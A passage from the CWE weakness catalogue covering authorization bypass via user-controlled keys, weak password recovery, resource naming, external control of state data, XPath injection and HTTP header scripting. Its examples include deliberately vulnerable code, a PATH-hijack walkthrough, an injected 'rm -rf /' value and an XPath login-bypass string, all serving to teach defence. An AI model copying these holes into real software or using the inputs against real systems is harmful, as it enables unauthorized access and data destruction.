When a developer begins to implement input validation for a web application, often the validation is performed in each area of the code that uses externally-controlled input. In complex applications with many inputs, the developer often misses a parameter here or a cookie there. One frequently-applied solution is to centralize all input validation, store these validated inputs in a separate data structure, and require that all access of those inputs must be through that data structure. An alternate approach would be to use an external input validation framework such as Struts, which performs the validation before the inputs are ever processed by the code.

## Observed Examples

Reference	Description
<b>CVE-2007-0408</b>	Server does not properly validate client certificates when reusing cached connections. <a href="https://www.cve.org/CVERecord?id=CVE-2007-0408">https://www.cve.org/CVERecord?id=CVE-2007-0408</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	988	SFP Secondary Cluster: Race Condition Window	888	2206
MemberOf	C	1368	ICS Dependencies (& Architecture): External Digital Systems	1358	2297

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP20		Race Condition Window

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
104	Cross Zone Scripting

### References

[REF-196]Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. 1975 September. < <http://web.mit.edu/Saltzer/www/publications/protection/> >.

[REF-526]Sean Barnum and Michael Gegick. "Complete Mediation". 2005 September 2. < <https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/complete-mediation> >.

## CWE-639: Authorization Bypass Through User-Controlled Key

**Weakness ID** : 639

**Structure** : Simple

**Abstraction** : Base

### Description

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

### Extended Description

Retrieval of a user record occurs in the system based on some key value that is under user control. The key would typically identify a user-related record stored in the system and would be used to lookup that record for presentation to the user. It is likely that an attacker would have to be an authenticated user in the system. However, the authorization process would not properly check the data access operation to ensure that the authenticated user performing the operation has sufficient entitlements to perform the requested data access, hence bypassing any other authorization checks present in the system.



For example, attackers can look at places where user specific data is retrieved (e.g. search screens) and determine whether the key for the item being looked up is controllable externally. The key may be a hidden field in the HTML form field, might be passed as a URL parameter or as an unencrypted cookie variable, then in each of these cases it will be possible to tamper with the key value.

One manifestation of this weakness is when a system uses sequential or otherwise easily-guessable session IDs that would allow one user to easily switch to another user's session and read/modify their data.


### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		863	Incorrect Authorization	1664
ParentOf		566	Authorization Bypass Through User-Controlled SQL Primary Key	1211

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf		863	Incorrect Authorization	1664

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2218

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	644

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		1212	Authorization Errors	2269
MemberOf		840	Business Logic Errors	2153

**Applicable Platforms**

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Alternate Terms**

**Insecure Direct Object Reference / IDOR** : The "Insecure Direct Object Reference" term, as described in the OWASP Top Ten, is broader than this CWE because it also covers path traversal (CWE-22). Within the context of vulnerability theory, there is a similarity between the OWASP concept and CWE-706: Use of Incorrectly-Resolved Name or Reference.

**Broken Object Level Authorization / BOLA** : BOLA is used in the 2019 OWASP API Security Top 10 and is said to be the same as IDOR.

**Horizontal Authorization** : "Horizontal Authorization" is used to describe situations in which two users have the same privilege level, but must be prevented from accessing each other's resources. This is fairly common when using key-based access to resources in a multi-user context.

**Likelihood Of Exploit**

High

**Common Consequences**

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism <i>Access control checks for specific user data or functionality can be bypassed.</i>	
Access Control	Gain Privileges or Assume Identity <i>Horizontal escalation of privilege is possible (one user can view/modify information of another user).</i>	
Access Control	Gain Privileges or Assume Identity <i>Vertical escalation of privilege is possible if the user-controlled key is actually a flag that indicates administrator status, allowing the attacker to gain administrative access.</i>	

## Potential Mitigations

### Phase: Architecture and Design

For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.

### Phase: Architecture and Design

#### Phase: Implementation

Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.

### Phase: Architecture and Design

Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	715	OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference	629	2124
MemberOf	<b>C</b>	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	2128
MemberOf	<b>C</b>	813	OWASP Top Ten 2010 Category A4 - Insecure Direct Object References	809	2151
MemberOf	<b>C</b>	932	OWASP Top Ten 2013 Category A4 - Insecure Direct Object References	928	2184
MemberOf	<b>C</b>	945	SFP Secondary Cluster: Insecure Resource Access	888	2187
MemberOf	<b>C</b>	1031	OWASP Top Ten 2017 Category A5 - Broken Access Control	1026	2230
MemberOf	<b>C</b>	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2280

## CWE-640: Weak Password Recovery Mechanism for Forgotten Password

**Weakness ID** : 640

**Structure** : Simple

**Abstraction** : Base

### Description

The product contains a mechanism for users to recover or change their passwords without knowing the original password, but the mechanism is weak.

### Extended Description

It is common for an application to have a mechanism that provides a means for a user to gain access to their account in the event they forget their password. Very often the password recovery mechanism is weak, which has the effect of making it more likely that it would be possible for a person other than the legitimate system user to gain access to that user's account. Weak password recovery schemes completely undermine a strong password authentication scheme.

This weakness may be that the security question is too easy to guess or find an answer to (e.g. because the question is too common, or the answers can be found using social media). Or there



might be an implementation weakness in the password recovery mechanism code that may for instance trick the system into e-mailing the new password to an e-mail account other than that of the user. There might be no throttling done on the rate of password resets so that a legitimate user can be denied service by an attacker if an attacker tries to recover their password in a rapid succession. The system may send the original password to the user rather than generating a new temporary password. In summary, password recovery functionality, if not carefully designed and implemented can often become the system's weakest link that can be misused in a way that would allow an attacker to gain unauthorized access to the system.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1390	Weak Authentication	2087

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		287	Improper Authentication	657

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1010	Authenticate Actors	2217

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		255	Credentials Management Errors	2107
MemberOf		840	Business Logic Errors	2153

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Likelihood Of Exploit

High

## Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity <i>An attacker could gain unauthorized access to the system by retrieving legitimate user's authentication credentials.</i>	
Availability	DoS: Resource Consumption (Other) <i>An attacker could deny service to legitimate system users by launching a brute force attack on the password recovery mechanism using user ids of legitimate users.</i>	
Integrity Other	Other <i>The system's security functionality is turned against the system by the attacker.</i>	

## Potential Mitigations

**Phase: Architecture and Design**



Make sure that all input supplied by the user to the password recovery mechanism is thoroughly filtered and validated.

#### Phase: Architecture and Design

Do not use standard weak security questions and use several security questions.

#### Phase: Architecture and Design

Make sure that there is throttling on the number of incorrect answers to a security question. Disable the password recovery functionality after a certain (small) number of incorrect guesses.

#### Phase: Architecture and Design

Require that the user properly answers the security question prior to resetting their password and sending the new password to the e-mail address of record.

#### Phase: Architecture and Design

Never allow the user to control what e-mail address the new password will be sent to in the password recovery mechanism.

#### Phase: Architecture and Design

Assign a new temporary password rather than revealing the original password.

### Demonstrative Examples

#### Example 1:

A famous example of this type of weakness being exploited is the eBay attack. eBay always displays the user id of the highest bidder. In the final minutes of the auction, one of the bidders could try to log in as the highest bidder three times. After three incorrect log in attempts, eBay password throttling would kick in and lock out the highest bidder's account for some time. An attacker could then make their own bid and their victim would not have a chance to place the counter bid because they would be locked out. Thus an attacker could win the auction.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	2129
MemberOf	C	930	OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management	928	2183
MemberOf	C	959	SFP Secondary Cluster: Weak Cryptography	888	2192
MemberOf	C	1028	OWASP Top Ten 2017 Category A2 - Broken Authentication	1026	2229
MemberOf	C	1353	OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures	1344	2287

### Notes

#### Maintenance

This entry might be reclassified as a category or "loose composite," since it lists multiple specific errors that can make the mechanism weak. However, under view 1000, it could be a weakness under protection mechanism failure, although it is different from most PMF issues since it is related to a feature that is designed to bypass a protection mechanism (specifically, the lack of knowledge of a password).

#### Maintenance

This entry probably needs to be split; see extended description.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	49		Insufficient Password Recovery

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
50	Password Recovery Exploitation

## References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

## CWE-641: Improper Restriction of Names for Files and Other Resources

**Weakness ID** : 641

**Structure** : Simple

**Abstraction** : Base

### Description

The product constructs the name of a file or other resource using input from an upstream component, but it does not restrict or incorrectly restricts the resulting name.

### Extended Description

This may produce resultant weaknesses. For instance, if the names of these resources contain scripting characters, it is possible that a script may get executed in the client's browser if the application ever displays the name of the resource on a dynamically generated web page. Alternately, if the resources are consumed by some application parser, a specially crafted name can exploit some vulnerability internal to the parser, potentially resulting in execution of arbitrary code on the server machine. The problems will vary based on the context of usage of such malformed resource names and whether vulnerabilities are present in or assumptions are made by the targeted technology that would make code execution possible.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.




*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		99	Improper Control of Resource Identifiers ('Resource Injection')	235

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2226

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1215	Data Validation Issues	2271
MemberOf		137	Data Neutralization Issues	2102
MemberOf		399	Resource Management Errors	2117

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Likelihood Of Exploit

Low

### Common Consequences

Scope	Impact	Likelihood
Integrity	Execute Unauthorized Code or Commands	
Confidentiality Availability	<i>Execution of arbitrary code in the context of usage of the resources with dangerous names.</i>	
Confidentiality Availability	Read Application Data DoS: Crash, Exit, or Restart	
	<i>Crash of the consumer code of these resources resulting in information leakage or denial of service.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Do not allow users to control names of resources used on the server side.

#### Phase: Architecture and Design

Perform allowlist input validation at entry points and also before consuming the resources. Reject bad file names rather than trying to cleanse them.

#### Phase: Architecture and Design

Make sure that technologies consuming the resources are not vulnerable (e.g. buffer overflow, format string, etc.) in a way that would allow code execution if the name of the resource is malformed.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2206

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP24		Tainted input to command

## CWE-642: External Control of Critical State Data

**Weakness ID** : 642  
**Structure** : Simple  
**Abstraction** : Class

### Description

The product stores security-critical state information about its users, or the product itself, in a location that is accessible to unauthorized actors.

### Extended Description







If an attacker can modify the state information without detection, then it could be used to perform unauthorized actions or access unexpected resources, since the application programmer does not expect that the state can be changed.

State information can be stored in various locations such as a cookie, in a hidden web form field, input parameter or argument, an environment variable, a database record, within a settings file, etc. All of these locations have the potential to be modified by an attacker. When this state information is used to control security or determine resource usage, then it may create a vulnerability. For example, an application may perform authentication, then save the state in an "authenticated=true" cookie. An attacker may simply create this cookie in order to bypass the authentication.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1380
ParentOf		15	External Control of System or Configuration Setting	17
ParentOf		73	External Control of File Name or Path	128
ParentOf		426	Untrusted Search Path	972
ParentOf		472	External Control of Assumed-Immutable Web Parameter	1062
ParentOf		565	Reliance on Cookies without Validation and Integrity Checking	1209

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2218

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Web Server (*Prevalence = Often*)

## Likelihood Of Exploit

High

## Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity  <i>An attacker could potentially modify the state in malicious ways. If the state is related to the privileges or level of authentication that the user has, then state modification might allow the user to bypass authentication or elevate privileges.</i>	
Confidentiality	Read Application Data  <i>The state variables may contain sensitive information that should not be known by the client.</i>	
Availability	DoS: Crash, Exit, or Restart  <i>By modifying state variables, the attacker could violate the application's expectations for the contents of the state, leading to a denial of service due to an unexpected error condition.</i>	

## Potential Mitigations

**Phase: Architecture and Design**

Understand all the potential locations that are accessible to attackers. For example, some programmers assume that cookies and hidden form fields cannot be modified by an attacker, or they may not consider that environment variables can be modified before a privileged program is invoked.

**Phase: Architecture and Design**

*Strategy = Attack Surface Reduction*

Store state information and sensitive data on the server side only. Ensure that the system definitively and unambiguously keeps track of its own state and user state and has rules defined for legitimate state transitions. Do not allow any application user to affect state directly in any way other than through legitimate actions leading to state transitions. If information must be stored on the client, do not do so without encryption and integrity checking, or otherwise having a mechanism on the server side to catch tampering. Use a message authentication code (MAC) algorithm, such as Hash Message Authentication Code (HMAC) [REF-529]. Apply this against the state or sensitive data that you has to be exposed, which can guarantee the integrity of the data - i.e., that the data has not been modified. Ensure that a strong hash function is used (CWE-328).

**Phase: Architecture and Design**

Store state information on the server side only. Ensure that the system definitively and unambiguously keeps track of its own state and user state and has rules defined for legitimate state transitions. Do not allow any application user to affect state directly in any way other than through legitimate actions leading to state transitions.

**Phase: Architecture and Design**

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. With a stateless protocol such as HTTP, use some frameworks can maintain the state for you. Examples include ASP.NET View State and the OWASP ESAPI Session Management feature. Be careful of language features that provide state support, since these might be provided as a convenience to the programmer and may not be considering security.

**Phase: Architecture and Design**

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

**Phase: Operation****Phase: Implementation**

*Strategy = Environment Hardening*

When using PHP, configure the application so that it does not use `register_globals`. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a `register_globals` emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

**Phase: Testing**

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

**Phase: Testing**

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

### Phase: Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

## Demonstrative Examples

### Example 1:

In the following example, an authentication flag is read from a browser cookie, thus allowing for external control of user state data.

*Example Language: Java*

*(Bad)*

```
Cookie[] cookies = request.getCookies();
for (int i =0; i< cookies.length; i++) {
    Cookie c = cookies[i];
    if (c.getName().equals("authenticated") && Boolean.TRUE.equals(c.getValue())) {
        authenticated = true;
    }
}
```

### Example 2:

The following code uses input from an HTTP request to create a file name. The programmer has not considered the possibility that an attacker could provide a file name such as ".././tomcat/conf/server.xml", which causes the application to delete one of its own configuration files (CWE-22).

*Example Language: Java*

*(Bad)*

```
String rName = request.getParameter("reportName");
File rFile = new File("/usr/local/apfr/reports/" + rName);
...
rFile.delete();
```

### Example 3:

The following code uses input from a configuration file to determine which file to open and echo back to the user. If the program runs with privileges and malicious users can change the configuration file, they can use the program to read any file on the system that ends with the extension .txt.

*Example Language: Java*

*(Bad)*

```
fis = new FileInputStream(cfg.getProperty("sub")+ ".txt");
amt = fis.read(arr);
out.println(arr);
```

### Example 4:

This program is intended to execute a command that lists the contents of a restricted directory, then performs other actions. Assume that it runs with setuid privileges in order to bypass the permissions check by the operating system.

*Example Language: C*

*(Bad)*

```
#define DIR "/restricted/directory"
```

```
char cmd[500];
sprintf(cmd, "ls -l %480s", DIR);
/* Raise privileges to those needed for accessing DIR. */
RaisePrivileges(...);
system(cmd);
DropPrivileges(...);
...
```

This code may look harmless at first, since both the directory and the command are set to fixed values that the attacker can't control. The attacker can only see the contents for DIR, which is the intended program behavior. Finally, the programmer is also careful to limit the code that executes with raised privileges.

However, because the program does not modify the PATH environment variable, the following attack would work:

*Example Language:*

*(Attack)*

- The user sets the PATH to reference a directory under the attacker's control, such as `"/my/dir/"`.
- The attacker creates a malicious program called `"ls"`, and puts that program in `/my/dir`
- The user executes the program.
- When `system()` is executed, the shell consults the PATH to find the `ls` program
- The program finds the attacker's malicious program, `"/my/dir/ls"`. It doesn't find `"/bin/ls"` because PATH does not contain `"/bin/"`.
- The program executes the attacker's malicious program with the raised privileges.

### Example 5:

The following code segment implements a basic server that uses the `"ls"` program to perform a directory listing of the directory that is listed in the `"HOMEDIR"` environment variable. The code intends to allow the user to specify an alternate `"LANG"` environment variable. This causes `"ls"` to customize its output based on a given language, which is an important capability when supporting internationalization.

*Example Language: Perl*

*(Bad)*

```
$ENV{"HOMEDIR"} = "/home/mydir/public/";
my $stream = AcceptUntrustedInputStream();
while (<$stream> {
    chomp;
    if (/^ENV ([w_]+) (.*)/) {
        $ENV{$1} = $2;
    }
    elsif (/^QUIT/) { ... }
    elsif (/^LIST/) {
        open($fh, "bin/ls -l $ENV{HOMEDIR}|");
        while (<$fh>) {
            SendOutput($stream, "FILEINFO: $_");
        }
        close($fh);
    }
}
```

The programmer takes care to call a specific `"ls"` program and sets the `HOMEDIR` to a fixed value. However, an attacker can use a command such as `"ENV HOMEDIR /secret/directory"` to specify an alternate directory, enabling a path traversal attack (CWE-22). At the same time, other attacks are enabled as well, such as OS command injection (CWE-78) by setting `HOMEDIR` to a value such as `"/tmp; rm -rf /"`. In this case, the programmer never intends for `HOMEDIR` to be modified, so input validation for `HOMEDIR` is not the solution. A partial solution would be an allowlist that only allows the `LANG` variable to be specified in the `ENV` command. Alternately, assuming this is



an authenticated user, the language could be stored in a local file so that no ENV command at all would be needed.

While this example may not appear realistic, this type of problem shows up in code fairly frequently. See CVE-1999-0073 in the observed examples for a real-world example with similar behaviors.

### Observed Examples

Reference	Description
<b>CVE-2005-2428</b>	Mail client stores password hashes for unrelated accounts in a hidden form field. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2428">https://www.cve.org/CVERecord?id=CVE-2005-2428</a>
<b>CVE-2008-0306</b>	Privileged program trusts user-specified environment variable to modify critical configuration settings. <a href="https://www.cve.org/CVERecord?id=CVE-2008-0306">https://www.cve.org/CVERecord?id=CVE-2008-0306</a>
<b>CVE-1999-0073</b>	Telnet daemon allows remote clients to specify critical environment variables for the server, leading to code execution. <a href="https://www.cve.org/CVERecord?id=CVE-1999-0073">https://www.cve.org/CVERecord?id=CVE-1999-0073</a>
<b>CVE-2007-4432</b>	Untrusted search path vulnerability through modified LD_LIBRARY_PATH environment variable. <a href="https://www.cve.org/CVERecord?id=CVE-2007-4432">https://www.cve.org/CVERecord?id=CVE-2007-4432</a>
<b>CVE-2006-7191</b>	Untrusted search path vulnerability through modified LD_LIBRARY_PATH environment variable. <a href="https://www.cve.org/CVERecord?id=CVE-2006-7191">https://www.cve.org/CVERecord?id=CVE-2006-7191</a>
<b>CVE-2008-5738</b>	Calendar application allows bypass of authentication by setting a certain cookie value to 1. <a href="https://www.cve.org/CVERecord?id=CVE-2008-5738">https://www.cve.org/CVERecord?id=CVE-2008-5738</a>
<b>CVE-2008-5642</b>	Setting of a language preference in a cookie enables path traversal attack. <a href="https://www.cve.org/CVERecord?id=CVE-2008-5642">https://www.cve.org/CVERecord?id=CVE-2008-5642</a>
<b>CVE-2008-5125</b>	Application allows admin privileges by setting a cookie value to "admin." <a href="https://www.cve.org/CVERecord?id=CVE-2008-5125">https://www.cve.org/CVERecord?id=CVE-2008-5125</a>
<b>CVE-2008-5065</b>	Application allows admin privileges by setting a cookie value to "admin." <a href="https://www.cve.org/CVERecord?id=CVE-2008-5065">https://www.cve.org/CVERecord?id=CVE-2008-5065</a>
<b>CVE-2008-4752</b>	Application allows admin privileges by setting a cookie value to "admin." <a href="https://www.cve.org/CVERecord?id=CVE-2008-4752">https://www.cve.org/CVERecord?id=CVE-2008-4752</a>
<b>CVE-2000-0102</b>	Shopping cart allows price modification via hidden form field. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0102">https://www.cve.org/CVERecord?id=CVE-2000-0102</a>
<b>CVE-2000-0253</b>	Shopping cart allows price modification via hidden form field. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0253">https://www.cve.org/CVERecord?id=CVE-2000-0253</a>
<b>CVE-2008-1319</b>	Server allows client to specify the search path, which can be modified to point to a program that the client has uploaded. <a href="https://www.cve.org/CVERecord?id=CVE-2008-1319">https://www.cve.org/CVERecord?id=CVE-2008-1319</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
MemberOf	<input checked="" type="checkbox"/>	752	2009 Top 25 - Risky Resource Management	<input checked="" type="checkbox"/>	2146
MemberOf	<input checked="" type="checkbox"/>	884	CWE Cross-section	<input checked="" type="checkbox"/>	2327
MemberOf	<input checked="" type="checkbox"/>	963	SFP Secondary Cluster: Exposed Data	<input checked="" type="checkbox"/>	2193
MemberOf	<input checked="" type="checkbox"/>	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	<input checked="" type="checkbox"/>	2284

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP23		Exposed Data

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
21	Exploitation of Trusted Identifiers
31	Accessing/Intercepting/Modifying HTTP Cookies

### References

[REF-528]OWASP. "Top 10 2007-Insecure Direct Object Reference". 2007. < [http://www.owasp.org/index.php/Top\\_10\\_2007-A4](http://www.owasp.org/index.php/Top_10_2007-A4) >.

[REF-529]"HMAC". 2011 August 8. Wikipedia. < <http://en.wikipedia.org/wiki/Hmac> >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

## CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')

**Weakness ID** : 643

**Structure** : Simple

**Abstraction** : Base

### Description

The product uses external input to dynamically construct an XPath expression used to retrieve data from an XML database, but it does not neutralize or incorrectly neutralizes that input. This allows an attacker to control the structure of the query.



### Extended Description

The net effect is that the attacker will have control over the information selected from the XML database and may use that ability to control application flow, modify logic, retrieve unauthorized data, or bypass important checks (e.g. authentication).

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.


*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		91	XML Injection (aka Blind XPath Injection)	209
ChildOf		943	Improper Neutralization of Special Elements in Data Query Logic	1720

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2226

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		137	Data Neutralization Issues	2102

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Likelihood Of Exploit

High

## Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	
	<i>Controlling application flow (e.g. bypassing authentication).</i>	
Confidentiality	Read Application Data	
	<i>The attacker could read restricted XML content.</i>	

## Potential Mitigations

### Phase: Implementation

Use parameterized XPath queries (e.g. using XQuery). This will help ensure separation between data plane and control plane.

### Phase: Implementation

Properly validate user input. Reject data where appropriate, filter where appropriate and escape where appropriate. Make sure input that will be used in XPath queries is safe in that context.

## Demonstrative Examples

### Example 1:

Consider the following simple XML document that stores authentication information and a snippet of Java code that uses XPath query to retrieve authentication information:

*Example Language: XML*

*(Informative)*

```
<users>
  <user>
    <login>john</login>
    <password>abracadabra</password>
    <home_dir>/home/john</home_dir>
  </user>
  <user>
    <login>cbc</login>
    <password>1mgr8</password>
    <home_dir>/home/cbc</home_dir>
  </user>
</users>
```

The Java code used to retrieve the home directory based on the provided credentials is:

*Example Language: Java*

*(Bad)*

```
XPath xpath = XPathFactory.newInstance().newXPath();
XPathExpression xlogin = xpath.compile("//users/user[login/text()=' " + login.getUserName() + " and password/text() = " +
login.getPassword() + "']/home_dir/text()");
Document d = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(new File("db.xml"));
String homedir = xlogin.evaluate(d);
```

Assume that user "john" wishes to leverage XPath Injection and login without a valid password. By providing a username "john" and password "" or "=" the XPath expression now becomes

*Example Language:*

*(Attack)*

```
//users/user[login/text()='john' or "=" and password/text() = "" or "="]/home_dir/text()
```

which, of course, lets user "john" login without a valid password, thus bypassing authentication.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	C	929	OWASP Top Ten 2013 Category A1 - Injection	928	2182
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2206
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2278
MemberOf	V	1340	CISQ Data Protection Measures	1340	2350
MemberOf	C	1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2282

## Notes

### Relationship

This weakness is similar to other weaknesses that enable injection style attacks, such as SQL injection, command injection and LDAP injection. The main difference is that the target of attack here is the XML database.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	39		XPath Injection
Software Fault Patterns	SFP24		Tainted input to command

## References

[REF-531]Web Application Security Consortium. "XPath Injection". < [http://www.webappsec.org/projects/threat/classes/xpath\\_injection.shtml](http://www.webappsec.org/projects/threat/classes/xpath_injection.shtml) >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax

**Weakness ID** : 644

**Structure** : Simple

**Abstraction** : Variant

### Description

The product does not neutralize or incorrectly neutralizes web scripting syntax in HTTP headers that can be used by web browser components that can process raw headers, such as Flash.

### Extended Description

An attacker may be able to conduct cross-site scripting and other attacks against users who have these components enabled.


If a product does not neutralize user controlled data being placed in the header of an HTTP response coming from the server, the header may contain a script that will get executed in the client's browser context, potentially resulting in a cross site scripting vulnerability or possibly an HTTP response splitting attack. It is important to carefully control data that is being placed both in HTTP response header and in the HTTP response body to ensure that no scripting syntax is present, taking various encodings into account.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		116	Improper Encoding or Escaping of Output	272

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Web Based (*Prevalence = Undetermined*)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Integrity	Execute Unauthorized Code or Commands	
